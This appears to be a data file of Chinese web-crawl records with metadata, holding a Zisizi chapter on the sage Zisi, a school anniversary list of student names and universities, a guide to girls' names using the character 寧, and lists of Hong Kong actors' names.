禹攉","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/qmzzz.cn\/show_A11.aspx","date":"2019-05-26T08:01:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258862.99\/warc\/CC-MAIN-20190526065059-20190526091059-00454.warc.gz","language":"lzh","language_score":0.6473334432,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6473334431648254, \"nan_Hani_score\": 0.21972329914569855, \"und_Ethi_score\": 0.11767059564590454}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.652,"perplexity_score":500.0,"cluster_detection":1} +{"text":"凡十二章\n胡母豹谓子思曰。子好大。世莫能容子也。盍亦随时乎。子思曰。大非所病。所病不大也。凡所以求容于世。为行道也。毁道以求容。何行焉。大不见容。命也。毁大而求容。罪也。吾弗改矣。\n曾子谓子思曰。昔者吾从夫子游于诸侯。夫子未尝失人臣之礼。而犹圣道不行。今吾观子有傲世主之心。无乃不容乎。子思曰。时移世异。各有宜也。当吾先君。周制虽毁。君臣固位。上下相持。若一体然。夫欲行其道。不执礼以求之。则不能入也。今天下诸侯方欲力争。竞招英雄以自辅翼。此乃得士则昌。失士则亡之秋也。伋于此时不自高。人将下吾。不自贵。人将贱吾。舜禹揖让。汤武用师。非故相诡。乃各时也。\n鲁人有公仪休者。砥节励行。乐道好古。恬于荣利。不事诸侯。子思与之友。穆公因子思欲以为相。谓子思曰。公仪子必辅寡人。三分鲁国而与之一。子其言之。子思对曰。如君之言。则公仪子愈所以不至也。君若饥渴待贤。纳用其谋。虽蔬食饮水。伋亦愿在下风。今徒以高官厚禄钓饵君子。无信用之意。公仪子之知若鱼鸟可也。不然。则彼将终身不躧乎君之庭矣。且臣不佞。又不任为君操竿下钓。以伤守节之士也。\n闾丘温见田氏将必危齐。欲以其邑叛而适鲁。缪公闻之。谓子思曰。子能怀之。则寡人割邑如其邑以偿子。子思曰。伋虽能之。义所不为也。公曰。何。子思对曰。彼为人臣。君将颠。弗能扶而叛之。逆臣制国。弗能以其众死而逃之。此罪诛之人也。伋纵不能讨。而又邀利以召奸。非忍行也。\n缪公问于子思曰。为旧君反服。古与。子思曰。古之君子进人以礼。退人以礼。故有旧君反服之礼也。今之君子进人若将加诸膝。退人若将坠诸渊。毋为戎首。不亦善乎。又何反服之礼之有。\n子思请行。鲁君曰。天下主亦犹寡人也。将焉之。子思对曰。盖闻君子犹鸟也。骇则举。鲁君曰。主不肖。而皆以然也。违不肖。过不肖。而自以为能论天下之主乎。凡鸟之举也。去骇从不骇。去骇从不骇。未可知也。去骇从骇。则鸟曷为举矣。子思之对鲁君也亦过矣。\n卫公子交馈马四乘于子思曰。交不敢以此求先生之欢。而辱先生之洁也。先生久降于鄙土。盖为宾主之饩焉。子思曰。伋寄命以求。度身以服卫之衣。量腹以食卫之粟矣。又且朝夕受酒脯及祭膰之赐。衣食已优。意气已足。以无行志。未敢当车马之贶。礼虽有爵赐人。而不逾于父兄。今重违公子之盛旨。则有失礼之僣焉。若何。公子曰。交已言于君矣。子思曰。不可。为人子者。三赐不及车马。公子曰。吾未之闻也。谨受教。\n公叔木谓申详曰。吾于子思亲而敬之。子思未吾察也。申详以告曰。人求亲敬于子。子何辱焉。子思答曰。义也。申详曰。请闻之。曰。公叔氏之子。爱人之同已。慢而不知贤。夫其亲敬。非心见吾所可亲敬也。以人口而亲敬吾。则亦以人口而疏慢吾矣。申详曰。其不知贤。奈何。曰。有龙穆者。徒好饰美辞说。观于坐席。相人眉睫以为之意。天下之浅人也。而公叔子交之。桥子良脩实而不脩名。为善而不为人知已。不撞不发。如大钟然。天下之深人也。而公叔子与之同邑而弗能知。此其所以为爱同已而不知贤也。\n缪公之于子思也。亟问亟馈鼎肉。子思不悦。于卒也。摽使者出诸大门之外。北面稽首再拜而不受。曰。今而后知君之犬马畜伋。盖自是台无馈也。\n缪公亟见于子思曰。古千乘之国以友士何如。子思不说曰。古之人有言曰。事之云乎。岂曰友之云乎。","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/www.zggdwx.com\/zisizi\/5.html","date":"2020-01-29T07:52:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251789055.93\/warc\/CC-MAIN-20200129071944-20200129101944-00038.warc.gz","language":"lzh","language_score":0.3953885138,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.39538851380348206, \"cmn_Hani_score\": 0.349215567111969, \"nan_Hani_score\": 0.05368082970380783, \"wuu_Hani_score\": 0.053405437618494034, \"zxx_Latn_score\": 0.04319502413272858, \"jpn_Jpan_score\": 0.03828729689121246}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.395,"perplexity_score":500.0,"cluster_detection":1} +{"text":"長沙市一中一〇四周年校慶視頻重磅來襲!\n——2016屆6班 陳奎洲\n吳佳騏 王皓 何天琦 劉雯戀 李點 廖詩怡 王若菡 譚思諾 袁樂揚 鄭春雨 楊啟航 劉珂妤 李羽千 朱壬鐸 常海鑫 周璐晴 張時岱 朱庭暢 楊鵬遠北京外國語大學 中國人民公安大學 中國農業大學 北京師範大學 北京大學 清華大學 中央財經大學 對外經貿大學 北京航空航天大學 北京林業大學 中國石油大學 中國青年政治學院 北京化工大學 北京交通大學 中國人民大學 中國政法大學 北京印刷學院 北京體育大學 中央戲劇學院 中國科學院大學 北京科技大學 北京郵電大學 中國地質大學 北京理工大學 北京第二外國語學院複旦大學 上海交通大學 同濟大學 華東理工大學 上海大學 東華大學 上海理工大學 上海立信會計學院 上海音樂學院南開大學 天津大學 中國民航大學 天津外國語大學 天津職業技術師範大學浙江大學 浙江理工大學 浙江財經大學 浙江傳媒學院 杭州電子科技大學 寧波諾丁漢大學 杭州師範大學 溫州醫科大學南京大學 南京財經大學 南京師範大學 河海大學 江南大學 南京航空航天大學 南京農業大學 南京藝術學院 中國藥科大學 中國礦業大學 中國人民大學蘇州校區 西交利物浦大學湖南大學 中南大學 湖南師範大學 長沙理工大學 中南林業科技大學 湖南科技大學 南華大學 湖南商學院 湖南警察學院 湖南中醫藥大學 湖南農業大學 吉首大學武漢大學 華中科技大學 華中農業大學 武漢理工大學 武漢工程大學 華中師範大學 中國地質大學中南財經政法大學東北師範大學 吉林大學 吉林工程技術師範學院 長春理工大學 大連理工大學 大連外國語大學 東北農業大學 東北林業大學 哈爾濱工程大學 哈爾濱工業大學 東北電力大學 東北大學 遼寧大學蘭州大學 陝西師範大學 鄭州大學 西北工業大學 河南大學 西安交通大學 內蒙古師範大學 西北政法大學 長安大學中山大學 南方科技大學 香港中文大學(深圳) 廣州外語外貿大學 南方醫科大學 廣州醫科大學 華南理工大學廈門大學 廈門理工大學 華僑大學 集美大學 福州大學 福建農業大學 福建工程學院 福建農林大學 福建師範大學四川大學 西南財經大學 西南大學 電子科技大學 西南交通大學 西南民族大學 四川農業大學 雲南大學 重慶郵電大學 重慶師範大學 西南政法大學 海南大學 海南師範大學 海南三亞學院 南昌大學香港大學 香港中文大學 新加坡國立大學 新加坡南洋理工大學 澳門科技大學 澳大利亞悉尼大學 美國密歇根州立大學 日本早稻田大學 廈門大學馬來分校\n劉天翊 楊竹子 袁天嬌 李然好 謝永誌 唐鉞 張思維 唐靖霖 袁磊祺 黃子洋 黃純熙 陳雨 魏澤林 陸誌寬 戴洋港 陳雨葭 王海濱 黃素潔 蔣林倩 朱子琪 單芷欣 彭靖芷 易一鳴 歐陽子儀 胡伊諾 文翰 王思緣 楊欣雨 黎芷劉 張滿女 譚思諾 吳鑫焯 周芷璿 楊子江 汪弋淇 丁丹 歐陽泰之 侯倩怡 黃睿 劉卓容 喻廣源 舒心 王昕玥 宋世傑 羅林嵐 禹佳希 孫千策 蔣欣怡 羅鑫浩 李家莉 陳林濤 何可人 陳欣鈺 彭浦源 陳羿愷 蔣穀雨 常人傑 譚天衍 趙泰灃 郭韓 羅曦冉 黃子威 張雅 彭子軒 周鈺涵 薛佳昕 劉林鑫 郭一文 陳飛陽 張能 肖正 周澤 梁立湘 龍天敏 蔣思琪 雷博文 付一笑 文思亮 趙潤荻 龔詩輝 羅一淼 張玲慧 範方舟 朱海東 王淼威 李鑫雄 姚祈諾 金麟 鄧詩蝶 章筱悅 李圓滿 萬奕含 何望楠 淩振宇 劉瀅溪 李星雨 李彥欣 金白西 歐陽婧 於越 姚遠弋 李嘉源 辛然 宋泠汐 李俊儒 符桐 胡伊婷 楊子江 楊鎰濤 張滿女 黎潤舟 向麒嘉 彭婧 翦梅 吳羽儀 郭琦 楊開元 陳佇蝶鄭春雨 陳奎州 肖雪濤 梁韞之 何煒潔 謝俊 許康捷 楊嘉成 曾凡高 陳怡 羅佳葉 陳子賢 李琳依 張岸 陳潤瑾 何光興 王逸果 吳炯 孔冰玉 李可馨 曹雄誌 李霽祥 張軼欽 佘宇坤 鄧埔清 譚楚君 張超凡 劉忠剛 龍夢曉 羅力彬 袁佩家 甘穎萱 李妍 張恰聞 劉琛 陳澤政 劉卓銘 周星宇 李懿琳 楊亦 羊山 鄧麒峰 黃楚玉 唐易凱 廖昊 李尉朱壬鐸 蔣曉婧 盧俊廷 王熠 廖添暢 王偉臣 肖念東 周思敏 羅依婧 劉慧琦 陳紀煌 伍雨薇 田小鈺 周邁 董浚淇 陳昊 王宇玄龍凱莉 歐陽錦儀 李文昊 劉寧 傅禹傑 陳思禹 易書月 張子萱 周楠 周荻婭 張乃琛 劉高歌 袁嘉樂 楊啟航 鄧藝佳 徐王灃 歐陽雅琪 袁燁 金韻 周洵 王奧 鄭銘威 梁珂銘 蔡月 王宗昱 劉詩雨 陳韜揚 譚浩林 劉紫燁 何慧敏李點 鄧克琦 劉正宇 張天嬌 羅凱傑 任顏秀 楊斯琦 王承浩 許丹琪 龍子妍 楊明哲 馮燁芷 李博夫 劉若琛 鄭天銘 孫玥珺 李姿嶧 許文鑫 郝白露 劉儲源 張婭卓 黃偉 劉奕杞 戴敏敏 彭樓丹 虞沛 黃冰彥 陳浩明 李騰飛 文茜 鄺婧 康馨吳佳騏 周稻 李劉若蘭 黃俊興 孫滔 任鵬 李沛琰 明玥 鄧懋新 文治鑫 孫思為 顧錚昊 周涵俊 鄧曉晴 羅晗 鄒伊敏 劉知藝 潘俊傑 李子威 羅楊明 梁夢濤 吳金意 熊皓镔 王永煥 趙嘉麒 曾睿達 黃釗軒 張雲欽 李健 唐浩然 方圓 車柏霖 鄧煜民 周毅航 劉誌寧 李恂 賀晗菲 遊佳瑛 鄒誌超 魏鵬 朱傑煌 楊辰雁 王藝潔 譚佳穎 李明慧 劉詩琴 譚依琴 王雅婷 林丹 毛宇 何也川 陳櫻曼 陽菁青 劉昕 王婷 陳青 尹雯 符琳梓 鄧楚楚 查育傑 曾平凡 陳靜 蔣鳳儀 李秀穎 陳依依 胡淑菲 謝潔雅 李源 莫鬆瑀 盧錦芳 何皓 李佳樂 梁梓靖 劉錦洋 劉暢 趙亮 石文倩 張榮旺 童翔翼 向欣彥 楊昊 尹嘉梁 劉嘉苗 董學智 田小雨 戴昱程 張嘉洋 王紫薇 廖星輝 盛小淇 段思源 陳德玉 曾倩宇 劉雙仁 劉安昱 胡淩濤 龔佳亮 梁可嘉 陳昱龍 曹梓靖 李镓淩 陳晨 陶雅 何佳穗 周梓涵 何昱薇 周晶晶 唐立洲 鄧淞允 楊雨欣 樊素君 唐周樂 蔣雨梳 曾佳欣 李佳慧 郭純岐 李慶 鄧曉憶 宋馳峰 王真 譚安娜 方敬 唐子晴 戴維 陳帥 劉子漢 趙曠毅 葛春源 盧想 龍奕芊 董盛蓉 吳婧 吳倩 皮雅璿 王睿 葛鑫然 方萱苾 周侯雨 嚴琦漩 黃昕 李青峰 曾鈺倩 宋梓夢 黃鑫玉 尹郅傑 劉婧瑤 劉伊諾 蔡家琛 馬浚洋 周鑫樂 陳佳暉 王子木 王瑾珂 烏貞旭 譚卓銘 周天行 曾衍彰 李晨堯 鄧海亮 鄺山子 易煒程 尹紫薇 劉添星 黃焯 劉卓佳彭欣 文亦萱 謝家良 任紫夢 劉蘭西 曾立誌 馮語凡 李曉達 彭芷璿 樊璐 王歆雅 蔡雨茜 陳子雯 楊子露 王珍 羊晨 周茜 周思慶 李君瑤 李妍 胡詩薇 彭紫微 曾愷傑 楊娟張詩琪 王紫微 譚佳沐 曾琪雅 吳子瀟 江其永 朱怡靜 周梓函 於瀟寧 李澤恩 吳佳玲 張奇睿 黃藝舒 安益昕 何東陽 黎佳宜 劉嘉鵬 曾楚岱 方子為 蘇瑩 羅官正 古榕賀倩蘭 劉哲楠 黃筱雨 李莊星 李依娜 張睿 韋明洋 覃澤陽 蔣嘯林 易晟兵 吳嵽 賀熙傑 朱仁勳 李子敬 彭懷萱 張子健 陳昶宇 胡進 廖詩怡 曾珠子 周笑如 李其謙 陳語 劉澤寰 周萌 於航 唐昊 賀家棟 吳書培 朱智賀丹 石小玉 曾子雄 鄧宏毅蔣藝言 周李蓁 黃禕文 蒲恒屹 喻玨 黃萱 曹新耶 唐銥 朱喆 謝穎格 周思航 劉宇 曾智 胡可馨 肖婕 陳靈 鄧婕 王呂晟彪 李錦濤 魯思汝 彭德駿 孫瑛倩 李承穎 譚芯璿 李師毓 熊澤平 夏英非 李璿達 李晨瑤王皓 鄒謹成 羅定坤 任翌芃 黃卓睿 周瀏濤 易蓉婧 馬歆妍 杜金 楊萬旺李羽千 齊正 高玉 羅斯琦 呂鬆健 譚姝穎 吳雪儀 劉雨欣 譚伊伶 何穎垚 張尹浩 熊弘毅 譚澤鑫 黃翰桀 粟晨 餘淡遠 譚博文 遠真 周意蔥 楊其晟 廖凱 鄭仕傑 羅洋 謝星雨 劉星宇 廖溈健 梁哲 熊平書 王鑫冰 唐冰 唐雨婷 蘇虹宇 羅安然 鄭尊潔 易雨時 王智韜 張可佳 羅湘 餘錦柱何天琦 姚蔚 王夢嬌 賀加貝 陳兆哲 周晟民 鄧思思 羅琬儀 羅琛 肖洋 楊婧 王鎮渝 歐陽嘉琪 劉嶽斌 邊思博 朱傑 譚雅亭 張皓銘 謝宇函 喻冰潔 徐琪 周詮 劉雯萱 朱晨 龍博 宋日婷 王菲 唐雪雯 張妍 鄒瑞 謝禛名 陳卓靜 張嘉 瞿溢呈 周宗嶧 周寧睿 李浩民 黃蕾 劉麗傑 曹曉潔 蔣漢光 唐雅瑜 彭楠 羅思婕 羅逸 李俊成 郝力 趙梓良 石昊 龍有為 蔣洋 劉真吾 唐成帥 彭啟雯 羅銳捷 王崟哲 張予源 顏競一 田鑫 毛寧易 張家豪 張琳姍 餘紫嘉 薑琦 馬一駿袁樂楊 毛超宇 陳璐 謝昕海 李毓瑤 張東亮 黃俊鑫 劉義莎 陳雨欣 張瀚月 龍湘波 朱孜進 胡競濤 楊行歌 彭宇辰 李沫香 肖宇浩 彭睿 李彥辰 李雪 王煜 賀克托 劉點夕 王喆 張文昊 張子傑 林會東 李澗 吳夢慧 譚晟 林子謙 李雪旗 顧開元 李宇軒 蔣鑫婕姚丹寧 熊安書 常海鑫 段心怡 劉瑜 賴健 劉煬笑 陳欣源 陳宇傑 張文浩 梁成藩 談靚 藍巧妤 羅雨菡周璐晴 周圓 楊璞瀅 江楚峰 陳笑天 胡梓萱 童彬 陳牧凡 楊明鈺 伍劼 熊楚齊 周子為 李情 張澤蘭 周姍儀 祝羽澤 彭若 劉佳文 唐睿超 周燁 周佳舟 王雨軒 樊崢嶸 張逸霄 馮源 楊雅琴 王源程 謝鴻傑 熊海琳 黃鈺南 沈逸凡 黃麟晰 吳豁 向馨文 陳語非 曹奇 顏安 吳佩瑩 伍一諾 劉婕劉珂妤 歐一帆 袁潔 宋一枝 李國瑞 李嘉賢 劉雯戀 向斌傑 蔣睿敏 楊寅虎 楊思敏 何璐 吳宇薇 朱湘怡 黃宇鑫 朱庭暢 鄧砥奕 朱翱宇李晨 康鶴翔 姚力語 張時岱 段垚 龍適晴 彭瑩 柏旭輝 李浩禧 姚博聞 胡競宜 胡立濤 彭家瑋 陳姮凡 夏宇 韓鼎 張李晉紅 劉若青 楊丹瑞 潘睿 王宇瀟 聶曉婧 周嘉暉 曾禮傑 程聖傑 何珍永\nThe End\n這麼大的江湖,就送你到這裏了。\n版權聲明\n本文來源於微信公眾號,如有侵權,請與我們聯係。\n轉載請說明出處(112seo.com)。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/tw.112seo.com\/cityarticle-2845583.html","date":"2020-04-04T08:23:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370521574.59\/warc\/CC-MAIN-20200404073139-20200404103139-00537.warc.gz","language":"lzh","language_score":0.5225188732,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5225188732147217, \"cmn_Hani_score\": 0.3093312382698059, \"nan_Hani_score\": 0.1261235624551773, \"yue_Hani_score\": 0.03821232542395592}","num_words":901,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.539,"perplexity_score":500.0,"cluster_detection":1} +{"text":"寧用於起名時,一般是níng這個音,一般用於女孩名,大致是是家長希望自己的小孩氣質娴靜之外,還希望其將來生活安定幸福。這個字的寓意很好,所以很多家長喜歡用寧字為寶寶取名,那麼帶寧字的女孩名字有哪些呢?下面的內容就教您怎樣用寧字為寶寶起名。\n1、寧字的基本含義\n1. 寧 [níng]\n平安,安定:~靜。\n已嫁的女子或在外子女回家省視父母:歸寧。\n守父母之喪,喪假。\n中國江蘇省南京市的別稱。\n中國寧夏回族自治區的簡稱。\n2.寧 [nìng]\n情願:寧肯。\n豈,難道。\n語助,無實際意義。\n姓。\n3.寧 [zhù]\n貯藏;積聚。同\"貯\"。\n久立。同\"伫\"。\n大門與屏風之間。\n2、寧字的姓名學屬性\n讀音:níng、nìng、zhù\n繁體:寧\n起名五行:火\n姓名學筆畫:14畫\n簡體筆畫:5畫\n寧:意為安寧、寧靜、平安。《說文解字》釋雲:辨積物也。象形。凡寧之屬皆從寧。\n3、帶寧字的名人\n楊振寧:美籍華裔物理學家。1957年獲得諾貝爾物理學獎。\n郎世寧:(1688-1766),畫家兼建築家。意大利人,出生米蘭。擅長肖像、花鳥、走獸,尤工畫馬。所作參酌中西畫法,注意透視及明暗,刻畫細致,注重寫實。\n撒貝寧:中央電視台節目主持人。\n張怡寧:原中國女子乒乓球運動員。2004年雅典奧運會乒乓球女單冠軍,並獲得過多個世界杯冠軍。\n鄭曉寧:影視男演員,代表作《鄧小平與李明瑞》《鷹擊長空》《人命如天》。\n許玮寧:中美混血,台灣女演員、模特,代表作《下一站幸福》《醉後決定愛上你》《惡作劇之吻》。\n張峻寧:內地演員、歌手,代表作《五星大飯店》《陽光天使》。\n宿寧馨:曾經在國內主演《東北一家人》裡面的\"軍軍\"而出名的童星。\n王寧:中央電視台《新聞聯播》主持人。主持風格端莊、大方、得體,語言規范,吐字清晰、播音自然流暢。\"金龜子\"劉純燕丈夫。\n毛寧:內地男歌手,代表作《濤聲依舊》《晚秋》《心雨》《藍藍的天藍藍的夢》。\n李寧:奧運冠軍,原中國著名體操隊運動員,另外,李寧以其姓名命名創立了\"李寧\"運動品牌。運動品牌涉足廣泛,從生產運動服裝、運動鞋到生產籃球、足球等。\n丁寧:中國女子乒乓球隊主力隊員。獲得過2012年奧運會兵乓球女單亞軍。2014年東京世乒賽女團冠軍。2014年奧地利世界杯冠軍。\n唐寧:香港影視演員、舞台劇演員。代表作《大唐雙龍傳》《天賜良兒》《蘭花劫》《天涯俠醫》。\n孫寧:演員,代表作《金粉世家》《京華煙雲》《老大的幸福》《火線三兄弟》。\n4、如何用寧字起名\n寧字在姓名學中是14畫,在81數理中代表意志薄弱、家庭寂寞的凶惡數理。象征為家庭緣薄,孤獨遭難,謀事不達,悲慘不測。不過姓名學認為,字中有凶惡數理不一定就要全部避免,可以用寓意美好的字和吉祥數理的字組合來化解凶意,或者通過八字的五行喜用神來化解字中的凶惡數理。寧字的五行屬性為火,如果寶寶的生辰八字喜用神五行屬火,可以用\"寧\"字起名,這樣不僅能幫扶命理,還能化解姓名中一些凶惡數理的喻意暗示。\n名字舉例\n寧丹 寧麗 寧雲 寧儀 寧伊 寧佳 寧倩 寧蘭 寧冰 寧凝 寧鳳 寧嘉 寧妍 寧妹 寧姣 寧姬聰寧 夢寧 瑩寧 寧芸 晨寧 媛寧 瑤寧 茹寧 函寧 寧諾 彤寧 詩寧 悅寧 歆寧 彥寧 淑寧\n相關起名用字\n冰 佳 天 子 詩 靈 丁 惠 樂 雅 雪 佩 穎 思 嘉 若 清 馨 潔 巧 鈞 霈\n5、帶寧字的女孩名字大全\n寧字在前的名字\n寧娅 寧娜 寧娟 寧娣 寧娥 寧娴 寧婉 寧婕 寧婧 寧婵 寧婷 寧媛 寧宜 寧彩 寧思 寧怡 寧惠 寧慧 寧敏 寧旭 寧春 寧月 寧柔 寧梅 寧夢 寧楠 寧歡 寧欣 寧毓 寧潔 寧淑 寧滟 寧滢 寧漩 寧瀾 寧煜 寧燕 寧玉 寧環 寧玲 寧珊 寧珍 寧珠 寧琦 寧琬 寧琰 寧琳 寧琴 寧瓊 寧瑗 寧瑤 寧璐 寧眉 寧秀 寧筠 寧紅 寧美 寧翠 寧艷 寧芝 寧芬 寧芳 寧芸 寧苑 寧茗 寧茜 寧荔 寧荷 寧莉 寧莎 寧蓮 寧菁 寧菲 寧萍 寧蓉 寧蓓 寧薇 寧貞 寧钰 寧雅 寧雪 寧霞 寧霭 寧露 寧靜 寧韻 寧穎 寧香 寧馥 寧馨 寧黛 寧藹 寧岸 寧奧 寧寶 寧倍 寧備 寧焙 寧本 寧邊 寧標 寧秉 寧朝 寧澈 寧誠 寧承 寧熾 寧初 寧傳 寧春 寧椿 寧詞 寧從 寧達 寧答 寧丹 寧島 寧禱 寧迪 寧冬 寧娥 寧恩 寧琺 寧筏 寧繁 寧飛 寧楓 寧復 寧甘 寧柑 寧皋 寧歌 寧格 寧閣 寧功 寧固 寧規 寧海 寧含 寧紅 寧歡 寧徽 寧慧 寧會 寧匯 寧極 寧嘉 寧嬌 寧潔 寧近 寧京 寧境 寧鈞 寧來 寧覽 寧蕾 寧麗 寧瀝 寧蓮 寧伶 寧凌 寧鹭 寧旅 寧麥 寧漫 寧枚 寧蜜 寧棉 寧明 寧銘 寧名 寧漠 寧眸 寧娜 寧奈 寧寧 寧暖 寧諾 寧評 寧譜 寧期 寧萁 寧棋 寧崎 寧齊 寧巧 寧琴 寧勤 寧頃 寧仁 寧韌 寧熔 寧容 寧嵘 寧茹 寧潤 寧若 寧山 寧尚 寧審 寧慎 寧試 寧舒 寧術 寧雙 寧思 寧司 寧宿 寧檀 寧唐 寧萄 寧銅 寧圖 寧拓 寧惋 寧婉 寧韋 寧唯 寧葦 寧蔚 寧尉 寧聞 寧五 寧熙 寧浠 寧烯 寧夏 寧廂 寧曉 寧信 寧興 寧休 寧序 寧戌 寧宣 寧訊 寧焉 寧言 寧衍 寧堰 寧也 寧壹 寧銥 寧依 寧藝 寧易 寧邑 寧櫻 寧穎 寧友 寧又 寧幼 寧郁 寧譽 寧園 寧員 寧圓 寧緣 寧岳 寧閱 寧韻 寧在 寧贊 寧棗 寧貞 寧芝 寧摯 寧至 寧致 寧智 寧著 寧專 寧茲 寧子 寧鬲 寧苒 寧莛 寧荟 寧莳 寧洵 寧洳 寧淅 寧澌 寧婵 寧缇 寧珂 寧珑 寧瑛 寧箫 寧粼 寧霈\n寧字在後的名字\n嫒寧 備寧 焙寧 渤寧 蟬寧 晨寧 程寧 池寧 弛寧 初寧 醇寧 淳寧 慈寧 丹寧 迪寧 丁寧 多寧 爾寧 凡寧 非寧 芬寧 氛寧 哥寧 歌寧 閣寧 果寧 含寧 涵寧 寒寧 好寧 荷寧 菏寧 河寧 虹寧 歡寧 環寧 佳寧 今寧 境寧 鵑寧 娟寧 均寧 科寧 涞寧 藍寧 籃寧 漣寧 琳寧 玲寧 伶寧 凌寧 靈寧 柳寧 錄寧 鹭寧 蔓寧 漫寧 毛寧 美寧 蒙寧 密寧 免寧 勉寧 渺寧 妙寧 莫寧 沫寧 木寧 苜寧 妮寧 霓寧 泥寧 寧寧 諾寧 鷗寧 攀寧 佩寧 平寧 普寧 齊寧 千寧 喬寧 巧寧 琴寧 情寧 群寧 冉寧 茹寧 如寧 芮寧 瑞寧 莎寧 珊寧 韶寧 殊寧 淑寧 爽寧 斯寧 頌寧 素寧 宿寧 檀寧 陶寧 瞳寧 彤寧 婉寧 熙寧 晰寧 希寧 汐寧 相寧 廂寧 襄寧 霄寧 欣寧 新寧 心寧 秀寧 繡寧 雪寧 迅寧 丫寧 艷寧 硯寧 瑤寧 姚寧 依寧 衣寧 頤寧 宜寧 逸寧 因寧 尹寧 隱寧 英寧 瑩寧 營寧 迎寧 穎寧 俞寧 魚寧 雨寧 與寧 禹寧 宇寧 羽寧 緣寧 允寧 蘊寧 藻寧 珍寧 真寧 祯寧 稹寧 缜寧 芝寧 致寧 舟寧 州寧 洲寧 朱寧 琢寧 咨寧 資寧 仔寧 籽寧 子寧 侃寧 勰寧 芊寧 芩寧 苒寧 苓寧 苕寧 莛寧 堇寧 薇寧 岚寧 怡寧 洳寧 淅寧 濠寧 宥寧 妍寧 娆寧 娴寧 娣寧 婵寧 嫱寧 珂寧 瑛寧 琨寧 琰寧 琛寧 琚寧 瑕寧 瑾寧 璇寧 桦寧 歆寧 雅寧 佳寧 寧瑤 涵寧 語寧 含寧 寧玲 韻寧 欣寧 羽寧 嘉寧 怡寧 馨寧 倩寧 雪寧 美寧 靜寧 思寧 丹寧 麗寧 雲寧 伊寧 佳寧 依寧 蘭寧 冰寧 凡寧 嘉寧 妍寧 安寧 寶寧 巧寧 彩寧 心寧 懷寧 思寧 怡寧 惠寧 慧寧 春寧 月寧 夢寧 楠寧 涵寧 淑寧 清寧 玉寧 玥寧 珂寧 璐寧 紅寧 翠寧 芳寧 若寧 詩寧 雅寧 雪寧 青寧 音寧 韻寧","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/www.3322.online\/quming\/qmdq\/201612\/30373.html","date":"2020-09-28T18:41:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401604940.65\/warc\/CC-MAIN-20200928171446-20200928201446-00300.warc.gz","language":"lzh","language_score":0.5138707757,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5138707756996155, \"cmn_Hani_score\": 0.4116057753562927, \"nan_Hani_score\": 0.047560710459947586, \"wuu_Hani_score\": 0.01672687940299511}","num_words":653,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.297,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.586,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n王浩信 張振朗 馮盈盈 高海寧 石修 姜大衛 賴慰玲 蔣家旻 傅嘉莉 林宣妤 朱敏瀚 徐榮 許家傑 陳志健 湯怡 李成昌 蔡國慶 吳瑞庭 鄭詠謙 莫家淦 容天佑 張武孝 鬼塚 楊證樺 湯俊明 唐嘉麟 區軒瑋 陳家良 吳子衝 邵展鵬 陳狄克 秦煌 彭懷安 司徒暉 李漫芬 梁證嘉 阮政峯 吳嘉儀 梁雯蔚 彭翔翎 周麗欣 袁鎮業 余子明 林浩文 張漢斌 張本立 林敬剛 沈愛琳 莫偉文 於洋 關婉珊 羅鴻\n譚俊彥 陳山聰 黃智雯 楊秀惠 江欣燕 林嘉華 趙希洛 何遠東 何啓南 楊卓娜 羅浩銘 林師傑 杜大偉 鄭恕峯 蕭徽勇 方紹聰 唐嘉麟 尹詩沛 蔡國威 謝可逸 陳婉婷 陳家良 阮兒 司徒暉 莫偉文 孟苑榕 邵展鵬 黃凱琪 林浩文 丁樂鍶 羅永健 鄧嘉傑 何晉樂 陳戩浩 鄭雋熹 梁嘉駿 梁百川 梁珈詠 曾敏 曾慧雲 餘應彤 張雪瑩 關浩揚 梁雯蔚 於洋 黃子雄 劉芷希 李善恆 黃可盈\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n陳百祥 何浩文 鄭則仕 湯鎮業 李施嬅 蔡瀚億 文凱玲 馬海倫 吳業坤 莊思敏 張慧儀 王子涵 袁鎮業 秦沛 利穎怡 梁敏儀 陳雅思 劉溫馨 謝雪心 曾健明 吳雲甫 秦煌 盧峻峯 楊瑞麟 布偉傑 李岡龍 鄭啓泰 司徒暉 溫家偉 何佩珉 康華 金燕玲 